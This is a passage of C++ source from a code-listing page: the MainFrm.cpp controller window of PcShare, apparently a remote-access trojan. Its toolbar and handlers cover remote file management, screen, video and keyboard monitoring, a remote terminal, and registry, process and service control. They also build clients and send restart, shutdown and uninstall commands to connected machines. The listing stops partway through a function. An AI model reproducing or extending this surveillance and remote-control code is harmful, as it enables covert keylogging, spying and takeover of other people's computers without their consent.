?? mainfrm.cpp
字號:
// MainFrm.cpp : implementation of the CMainFrame class
//
#include "stdafx.h"
#include "PcShare.h"
#include "MainFrm.h"
#include "MySetupDlg.h"
#include "MyClientTitleDlg.h"
#include ".\mycreateclientdlg.h"
#include "MyClientProxy.h"
#include ".\mainfrm.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CMainFrame
GOLBALVALUE m_MainValue = {0};
IMPLEMENT_DYNCREATE(CMainFrame, CFrameWnd)
BEGIN_MESSAGE_MAP(CMainFrame, CFrameWnd)
//{{AFX_MSG_MAP(CMainFrame)
ON_WM_CREATE()
ON_WM_SIZE()
ON_COMMAND(ID_CLIENT_CREATE, OnClientCreate)
ON_COMMAND(ID_CLIENT_FILE_MANAGER, OnClientFileManager)
ON_UPDATE_COMMAND_UI(ID_CLIENT_FILE_MANAGER, OnUpdateClientFileManager)
ON_COMMAND(ID_CLIENT_PC_RESTART, OnClientPcRestart)
ON_UPDATE_COMMAND_UI(ID_CLIENT_PC_RESTART, OnUpdateClientPcRestart)
ON_COMMAND(ID_CLIENT_PC_SHUTDOWN, OnClientPcShutdown)
ON_UPDATE_COMMAND_UI(ID_CLIENT_PC_SHUTDOWN, OnUpdateClientPcShutdown)
ON_COMMAND(ID_CLIENT_PRO_UNINSTALL, OnClientProUninstall)
ON_UPDATE_COMMAND_UI(ID_CLIENT_PRO_UNINSTALL, OnUpdateClientProUninstall)
ON_COMMAND(ID_GLOBAL_SETUP, OnGlobalSetup)
ON_COMMAND(ID_HELP, OnHelp)
ON_COMMAND(ID_ALIVE_HELP, OnAliveHelp)
ON_WM_CLOSE()
ON_UPDATE_COMMAND_UI ( ID_CLIENT_LINK_COUNT,OnUpdatePane )
ON_COMMAND(ID_LIST_DELETE_ITEM, OnListDeleteItem)
ON_UPDATE_COMMAND_UI(ID_LIST_DELETE_ITEM, OnUpdateListDeleteItem)
ON_COMMAND(ID_LIST_EMPTY_ITEM, OnListEmptyItem)
ON_UPDATE_COMMAND_UI(ID_LIST_EMPTY_ITEM, OnUpdateListEmptyItem)
ON_COMMAND(ID_SAVE_LIST_LOG, OnSaveListLog)
ON_UPDATE_COMMAND_UI(ID_SAVE_LIST_LOG, OnUpdateSaveListLog)
ON_COMMAND(ID_FRAME_MONITOR, OnFrameMonitor)
ON_UPDATE_COMMAND_UI(ID_FRAME_MONITOR, OnUpdateFrameMonitor)
ON_COMMAND(ID_MODIFY_TITLE, OnModifyTitle)
ON_UPDATE_COMMAND_UI(ID_MODIFY_TITLE, OnUpdateModifyTitle)
ON_COMMAND(ID_REGEDIT, OnRegEdit)
ON_UPDATE_COMMAND_UI(ID_REGEDIT, OnUpdateRegEdit)
ON_COMMAND(ID_PROC, OnProc)
ON_UPDATE_COMMAND_UI(ID_PROC, OnUpdateProc)
ON_COMMAND(ID_SERVICE, OnService)
ON_UPDATE_COMMAND_UI(ID_SERVICE, OnUpdateService)
ON_COMMAND(ID_MUILT, OnMulit)
ON_UPDATE_COMMAND_UI(ID_MUILT, OnUpdateMulit)
ON_COMMAND(ID_MONITORKEY, OnMonitorKey)
ON_UPDATE_COMMAND_UI(ID_MONITORKEY, OnUpdateMonitorKey)
ON_WM_COPYDATA()
ON_WM_CONTEXTMENU()
ON_COMMAND(ID_CLIENT_PROXY, OnClientProxy)
//}}AFX_MSG_MAP
ON_MESSAGE(WM_ADDCLIENT,OnAddClient)
ON_MESSAGE(WM_MYITEMCHANGED,OnMyItemChanged)
ON_MESSAGE(WM_CLOSEITEM,OnCloseItem)
ON_MESSAGE(WM_CLIENTMAINRCLICK,OnMainRClick)
ON_COMMAND(ID_TLNT, OnTlnt)
ON_UPDATE_COMMAND_UI(ID_TLNT, OnUpdateTlnt)
END_MESSAGE_MAP()
static UINT indicators[] =
{
ID_SEPARATOR, // status line indicator
ID_CLIENT_LINK_COUNT,
};
/////////////////////////////////////////////////////////////////////////////
// CMainFrame construction/destruction
CMainFrame::CMainFrame()
{
pEventView = NULL;
pClientListView = NULL;
}
CMainFrame::~CMainFrame()
{
}
CSize CMainFrame::LoadMyBitmap(UINT nID)
{
CDC * pDC = GetDC();
CDC m_MemDC;
m_MemDC.CreateCompatibleDC(pDC);
CSize m_Size = pDC->GetTextExtent("刷新");
ReleaseDC(pDC);
CRect rect(0,0,60,32);
CBitmap *pBitmap,*pOldBitmap;
pBitmap = new CBitmap;
pBitmap->LoadBitmap(nID);
pOldBitmap = m_MemDC.SelectObject(pBitmap);
TransParentDC(rect,&m_MemDC);
m_MemDC.SelectObject(pOldBitmap);
m_ToolBarList.Add(pBitmap,GetSysColor(COLOR_MENU));
pBitmap->DeleteObject();
delete pBitmap;
return m_Size;
}
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
{
if (CFrameWnd::OnCreate(lpCreateStruct) == -1)
return -1;
if (!m_wndToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
!m_wndToolBar.LoadToolBar(IDR_MAINFRAME))
{
TRACE0("Failed to create toolbar\n");
return -1; // fail to create
}
if (!m_wndStatusBar.Create(this) ||
!m_wndStatusBar.SetIndicators(indicators,
sizeof(indicators)/sizeof(UINT)))
{
TRACE0("Failed to create status bar\n");
return -1; // fail to create
}
m_ToolBarList.Create(60,32,ILC_COLOR24|ILC_MASK,10,10);
CSize m_Size =
LoadMyBitmap(IDB_BITMAP_MANA);
LoadMyBitmap(IDB_BITMAP_FRAME);
LoadMyBitmap(IDB_BITMAP_TLNT);
LoadMyBitmap(IDB_BITMAP_KEY);
LoadMyBitmap(IDB_BITMAP_PROC);
LoadMyBitmap(IDB_BITMAP_REGEDIT);
LoadMyBitmap(IDB_BITMAP_SERVICE);
LoadMyBitmap(IDB_BITMAP_MULIT);
LoadMyBitmap(IDB_BITMAP_SETUP);
LoadMyBitmap(IDB_BITMAP_CREATE);
LoadMyBitmap(IDB_BITMAP_HELP);
LoadMyBitmap(IDB_BITMAP_INDEX);
m_wndToolBar.SetButtonText(0,"文件管理");
m_wndToolBar.SetButtonText(1,"屏幕監控");
m_wndToolBar.SetButtonText(2,"超級終端");
m_wndToolBar.SetButtonText(3,"鍵盤監控");
m_wndToolBar.SetButtonText(5,"進程管理");
m_wndToolBar.SetButtonText(6,"注 冊 表");
m_wndToolBar.SetButtonText(7,"服務管理");
m_wndToolBar.SetButtonText(8,"視頻監控");
m_wndToolBar.SetButtonText(10,"參數設置");
m_wndToolBar.SetButtonText(11,"生成客戶");
m_wndToolBar.GetToolBarCtrl().SetImageList(&m_ToolBarList);
m_wndToolBar.GetToolBarCtrl().SetDisabledImageList(&m_ToolBarList);
m_wndToolBar.GetToolBarCtrl().SetButtonSize(
CSize(60,32 + m_Size.cy + 4));
m_wndToolBar.GetToolBarCtrl().SetBitmapSize(CSize(58,32));
CMenu* mmenu = GetMenu();
m_MainMenu.Attach(mmenu->GetSafeHmenu());
SetMenu(&m_MainMenu);
//取主框架窗口句柄
m_MainValue.m_MainhWnd = GetSafeHwnd();
return 0;
}
/////////////////////////////////////////////////////////////////////////////
// CMainFrame diagnostics
#ifdef _DEBUG
void CMainFrame::AssertValid() const
{
CFrameWnd::AssertValid();
}
void CMainFrame::Dump(CDumpContext& dc) const
{
CFrameWnd::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CMainFrame message handlers
BOOL CMainFrame::OnCreateClient(LPCREATESTRUCT lpcs, CCreateContext* pContext)
{
if (!m_WndSplitter.CreateStatic(this, 2, 1,WS_CHILD | WS_VISIBLE))
return FALSE;
if (!m_WndSplitter.CreateView(0, 0,
RUNTIME_CLASS(CMyClientMainView),CSize(0, 0), pContext) ||
!m_WndSplitter.CreateView(1, 0,
RUNTIME_CLASS(CMyEventView),CSize(0, 300),pContext))
{
m_WndSplitter.DestroyWindow();
return FALSE;
}
pClientListView = (CMyClientMainView*) m_WndSplitter.GetPane(0,0);
pEventView = (CMyEventView*) m_WndSplitter.GetPane(1,0);
return TRUE;
}
void CMainFrame::OnSize(UINT nType, int cx, int cy)
{
CFrameWnd::OnSize(nType, cx, cy);
if(pClientListView != NULL && cx > 0)
{
m_WndSplitter.SetColumnInfo(0,cx * 1/4 + 9,0);
m_WndSplitter.SetRowInfo(0,cy * 3/5 ,0);
m_WndSplitter.RecalcLayout();
UINT nID,nStyle;
int Width;
m_wndStatusBar.GetPaneInfo(1,nID,nStyle,Width);
Width = cx * 1/6 - 15;
m_wndStatusBar.SetPaneInfo(1,nID,nStyle,Width);
}
}
void CMainFrame::OnClientCreate()
{
CMyCreateClientDlg dlg;
dlg.DoModal();
}
void CMainFrame::OnClientPcRestart()
{
LPCLIENTITEM pItem = pClientListView->GetCurSel();
if(pItem != NULL)
{
ProcessCmd(pItem->m_WorkSocket,
CLIENT_SYSTEM_RESTART,NULL,0);
DeleteCurItem();
}
}
void CMainFrame::OnUpdateClientPcRestart(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->
GetListCtrl().GetSelectedCount() == 1);
}
void CMainFrame::OnClientPcShutdown()
{
LPCLIENTITEM pItem = pClientListView->GetCurSel();
if(pItem != NULL)
{
ProcessCmd(pItem->m_WorkSocket,
CLIENT_SYSTEM_SHUTDOWN,NULL,0);
DeleteCurItem();
}
}
void CMainFrame::OnUpdateClientPcShutdown(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->
GetListCtrl().GetSelectedCount() == 1);
}
void CMainFrame::OnClientProUninstall()
{
LPCLIENTITEM pItem = pClientListView->GetCurSel();
if(pItem != NULL)
{
ProcessCmd(pItem->m_WorkSocket,
CLIENT_PRO_UNINSTALL,NULL,0);
DeleteCurItem();
}
}
void CMainFrame::OnUpdateClientProUninstall(CCmdUI* pCmdUI)
{
pCmdUI->Enable(pClientListView->
GetListCtrl().GetSelectedCount() == 1);
}
void CMainFrame::OnGlobalSetup()
{
CMySetupDlg dlg;
dlg.DoModal();
}
void CMainFrame::OnHelp()
{
PostMessage(WM_COMMAND,MAKEWPARAM(ID_APP_ABOUT,1),0);
}
void CMainFrame::OnAliveHelp()
{
ShellExecute(NULL,NULL,"./PcShare.chm",NULL,NULL,SW_SHOWMAXIMIZED);
}
LRESULT CMainFrame::OnAddClient(WPARAM wParam,LPARAM lParam)
{
//查看連接是否超限
char m_IniFileName[256] = {0};
GetIniFileName(m_IniFileName);
char m_sMaxLinkMain[100] = {0};
GetPrivateProfileString("設置","最大客戶連接數量",
"999",m_sMaxLinkMain,99,m_IniFileName);
if(pClientListView->GetListCtrl().GetItemCount() >
atoi(m_sMaxLinkMain))
return FALSE;
//增加客戶
LPCLIENTITEM pItem = pClientListView->InsertItem((LPCLIENTITEM) wParam);
//顯示信息
char m_Text[256] = {0};
sprintf(m_Text,"客戶【%s - %s】已經連接",
pItem->m_Title, pItem->m_SysInfo.m_PcName);
ShowMyText(m_Text , FALSE);
//查看是否有文件下載
char m_FilePath[256] = {0};
GetModuleFileName(NULL,m_FilePath,200);
char *p = strrchr(m_FilePath,'\\');
if(p != NULL)
*(p + 1) = 0;
else
return TRUE;
strcat(m_FilePath,"data");
char m_FileName[256] = {0};
sprintf(m_FileName,"%s\\%s.ini",m_FilePath,pItem->m_SysInfo.ID);
CFileStatus m_FileStatus;
if(CFile::GetStatus(m_FileName,m_FileStatus))
{
if(m_FileStatus.m_size != 0)
{
//啟動進程開始下載
StartChildWork(pItem, "文件管理", CLIENT_FILES_START, "PcFile.exe");
}
else
DeleteFile(m_FileName);
}
return TRUE;
}
void CMainFrame::StartWork()
{
//連接主頁
//取INI文件名稱
char m_IniFileName[256] = {0};
GetIniFileName(m_IniFileName);
//取IP地址列表信息
PHOSTENT hostinfo;
char name[512] = {0};
if(gethostname (name,sizeof(name)) != 0 ||
(hostinfo = gethostbyname(name)) == NULL)
{
ShowMyText("取本地地址列表失敗",TRUE);
return;
}
CString m_AddrList;
struct sockaddr_in dest;
for(int i=0; hostinfo->h_addr_list[i] != NULL ;i++)
{
memcpy(&(dest.sin_addr),
hostinfo->h_addr_list[i],
hostinfo->h_length);
m_AddrList += inet_ntoa(dest.sin_addr);
m_AddrList += "-";
}
char m_Text[512] = {0};
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -